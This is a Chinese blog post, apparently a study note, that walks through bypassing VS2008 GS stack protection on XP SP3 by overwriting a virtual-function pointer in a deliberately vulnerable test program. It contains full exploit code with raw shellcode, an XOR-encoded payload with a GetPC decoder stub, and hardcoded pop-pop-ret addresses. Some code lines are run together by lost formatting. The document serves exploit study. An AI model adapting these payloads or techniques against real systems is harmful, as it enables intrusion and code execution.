#pragma strict_gs_check(on) 强制设置 GS保护  VS2008

当缓冲区<=4字节时  不被 GS保护  设置上面的  可以强制保护

#include "stdafx.h"
#include <windows.h>#pragma strict_gs_check(on)
void f(char  str[])
{char buff[4];strcpy(buff,str);
}
int _tmain(int argc, _TCHAR* argv[])
{char str[] = "1111";f(str);return 0;
}

`

可以看到 COOKIE

现在实验

虚函数情况下  去攻击 GS保护:

/*
XP SP3
VS2008   GS保护  禁止优化
*/
#include "stdafx.h"
#include "string.h"class GSVirtual {
public :void gsv(char * src){char buf[200];strcpy(buf, src);bar(); // virtual function call}virtual void  bar(){}
};
char shellcode[]=
//78542DA6
"\xA6\x2D\x54\x78"
"\x90\x90\x90\x90\x90\x90""\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53"
"\x68\x64\x61\x30\x23"
"\x68\x23\x50\x61\x6E"
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//168"\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x48\x30\x40\x00"
//00403048
;
int main()
{GSVirtual test;test.gsv(shellcode);return 0;
}

原理:  修改虚表指针  指向  压入的形参指针  调向我们的字符串起始地址;

进入CALL  后   来到   字符串第一个DWORD  类型指向的地址

看到堆栈ESP+8 为我们的字符串起始地址

那么  只要 pop pop retn  就能到起始地址去执行

那么找到系统DLL中的这个地址

复制到字符串开始

那么从字符串开始执行时

这个找到的DLL系统地址会变成 乱码 (但这样不影响后的shellcode 运行)

如果想要对自己的shellcode进行加密后验证 就还需要些许调整:

#include "stdafx.h"
#include "string.h"  class GSVirtual {
public :  void gsv(char * src)  {  char buf[200];  strcpy(buf, src);  bar(); // virtual function call  }  virtual void  bar()  {  }
};
char shellcode[]=
// 7C921931    5E              pop esi"\x31\x19\x92\x7c""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xD9\xEE"           // fldz
"\xD9\x74\x24\xF4"   // fstenv (28-byte) ptr ss:[esp-0xC]
"\x58"              //pop eax   得到EIP 转载至http://www.programlife.net/shellcode-getpc.html
"\x83\xC0\x1b"      //add eax,0x19
"\x33\xC9"         // XOR ECX,ECX
"\x8A\x1C\x08"      //  MOV BL,BYTE PTR DS:[EAX+ECX]
"\x80\xF3\x11"        //xor bl,0x11
"\x88\x1C\x08"     //   MOV BYTE PTR DS:[EAX+ECX],BL
"\x41"           // INC ECX
"\x80\xFB\x90" //      CMP BL,90
"\x75\xF1"//         JNZ SHORT shellcod.00401165
//The above is 26 bytes
//The following is 169 bytes
"\xed\x79\x7b\x1b\x29\x0f\x79\x72\x98\xc0\x5e\x79\x23\x65\x80\x1d"
"\x9a\xe5\x9c\x6f\xe5\x22\xca\xa6\x15\x3a\xf2\x77\xaa\x22\x23\x42"
"\x79\x64\x62\x74\x63\x45\x22\xc3\x75\x9a\x4b\x21\x9a\x5a\x1d\x9a"
"\x58\x0d\x9a\x18\x9a\x78\x19\xbc\x2c\x7b\x1b\x29\x0f\x64\x14\x84"
"\xee\x46\xe9\x84\x71\x9a\x54\x2d\x9a\x5d\x14\x69\x12\xdc\x9a\x48"
"\x31\x12\xcc\x22\xee\x56\x9a\x25\xaa\x12\xe4\x88\x1e\xaf\x17\x2b"
"\xd5\x65\x19\xd0\xdb\x16\x12\xc1\x57\xfa\xe0\x2a\x45\x35\x0d\x64"
"\xf5\x9a\x48\x35\x12\xcc\x77\x9a\x2d\x6a\x9a\x48\x0d\x12\xcc\x12"
"\x3d\xaa\x84\x4e\xba\x46\x70\x2c\x7b\x1b\x29\x0f\x64\xb8\x22\xca"
"\x42\x79\x75\x70\x21\x32\x79\x32\x41\x70\x7f\x9a\xd5\x42\x41\x41"
"\x42\xee\x46\xed\x42\xee\x46\xe9\x81"//#panda0#"\x9c\xfe\x12\x00"//0012FE9C//00403048
;
int main()
{  GSVirtual test;  test.gsv(shellcode);  return 0;
}  

虚函数绕过 GS保护 学习相关推荐

  1. 7.1 覆盖虚函数突破GS

    目录 一.GS安全编译选项的保护原理 1.Security Cookie 2.变量重排 二.实验环境 三.实验代码 四.实验步骤 一.GS安全编译选项的保护原理 1.Security Cookie G ...

  2. <C++>多态之纯虚函数与抽象类,学习不一样的析构函数

    在自己的世界里独善其身,在别人的世界顺其自然 ✨写在前面         书接上文,  今天继续学习多态的内容.上文提到了虚函数,那么今天就来讲讲什么是纯虚函数,抽象类和纯虚函数关联紧密,所以也学习一 ...

  3. 还原0day----覆盖虚函数突破GS

    接上一篇,与vc++6.0(并没有GS安全机制)不一样的是,vs2008启用GS后的实例内存布局有些不一样,结合0day代码探究下突破GS的具体细节 C++代码:vs2008 release 优化禁用 ...

  4. 重新学习c++--理解引用、智能指针、虚函数、模板、容器

    最近几年用c和python比较多,上次用c++写程序已经是几年前的事情了.温故而知新,是时候重新学习下c++了. C++可以分成四大块去理解: C c++仍以C为基础,区块blocks.语句state ...

  5. 【C++】C++类的学习(五)——纯虚函数与抽象类

    [fishing-pan:https://blog.csdn.net/u013921430转载请注明出处] 前言 在前面的博客中讲到了虚函数,今天讲述一种特别的虚函数--纯虚函数,以及与之相关的抽象类 ...

  6. 【C++学习笔记】 纯虚函数详解,绝不纯属虚构!

    首先:强调一个概念 定义一个函数为虚函数,不代表函数为不被实现的函数. 定义他为虚函数是为了允许用基类的指针来调用子类的这个函数. 定义一个函数为纯虚函数,才代表函数没有被实现. 定义纯虚函数是为了实 ...

  7. 坚持学习100天:多态(函数重载、虚函数和多态)

    前言 Hello,我是修齊. 学习C++的第一百零一十天,将近五一假期了,不浪漫亦是罪名,男生今年不能再挨批斗了,放假就得好好陪陪身边的人浪漫浪漫,生活,加油,学习加油. 在这里记录一些学习的东西和学 ...

  8. 虚函数与纯虚函数(收录学习)

    收录: http://www.cppblog.com/zhuweisky/archive/2007/09/20/269.html 我们把一个仅仅含有纯虚函数的类称为接口,我们也好像已经习惯了将这个接口 ...

  9. C++中多态与虚函数的学习例子

    多态(Polymorphism):在面向对象语言中,接口的多种不同的实现方式.也可以这样理解:在运行时,可以基类的指针来调用实现派生类中的方法.简单的一句话:允许将子类类型的指针赋值给父类类型的指针. ...

最新文章

  1. TCP 的连接建立:采用三报文握手
  2. Catalysing food-tech: How the UK‘s EIT Food Accelerator Network can accelerate your journey
  3. 用idea插件将一个spring boot项目部署到docker容器里运行
  4. Set集合以及HashSet、LinkedHashSet、TreeSet等讲解
  5. Asp.Net Core 发布和部署(Linux + Jexus )
  6. html之属性的定义
  7. 视差滚动(Parallax Scrolling)效果的原理和实现
  8. 打脸了!中通快递曾否认用假人充当安检员,官方反手一记实锤
  9. armboot和内核文件系统烧写总结
  10. LVS虚拟服务器的实现方式
  11. OpenCv特征匹配
  12. c51中的_crol_和_cror_
  13. 11.什么是Heuristic
  14. python file文件怎么换成py_怎么把txt改为py
  15. php liger 表格排序,LigerUI之grid表格点击表头标题排序实现
  16. Three.js光源梳理3——平行光(DirectionalLight)
  17. 22东南网安专硕上岸经验贴
  18. QCon旧金山2016大会,议题发布及研讨会一瞥
  19. HTML5-iframe-frameset
  20. 【科创人】DataVisor创始人谢映莲:智能生意应坚守数据道德

热门文章

  1. ZEGO RTC Meetup 实时音视频开发者沙龙@12.23深圳站 图文回顾PPT下载
  2. java 除以1000,为什么24 * 60 * 60 * 1000 * 1000除以24 * 60 * 60 * 1000在Java中不等于1000?...
  3. php中遍历二维数组并以表格的形式输出
  4. 首批5G城市名单公布了!
  5. 18图详解:王阳明心学到底说了啥? ​​​
  6. mysql 小彬实战命令
  7. OPC UA 质量代码 OPC quality codes 简介
  8. SQL数据库查询LIMIT 数据分页
  9. 企业定制CRM系统的流程
  10. Android人脸识别的初步学习,移动端开发技术创新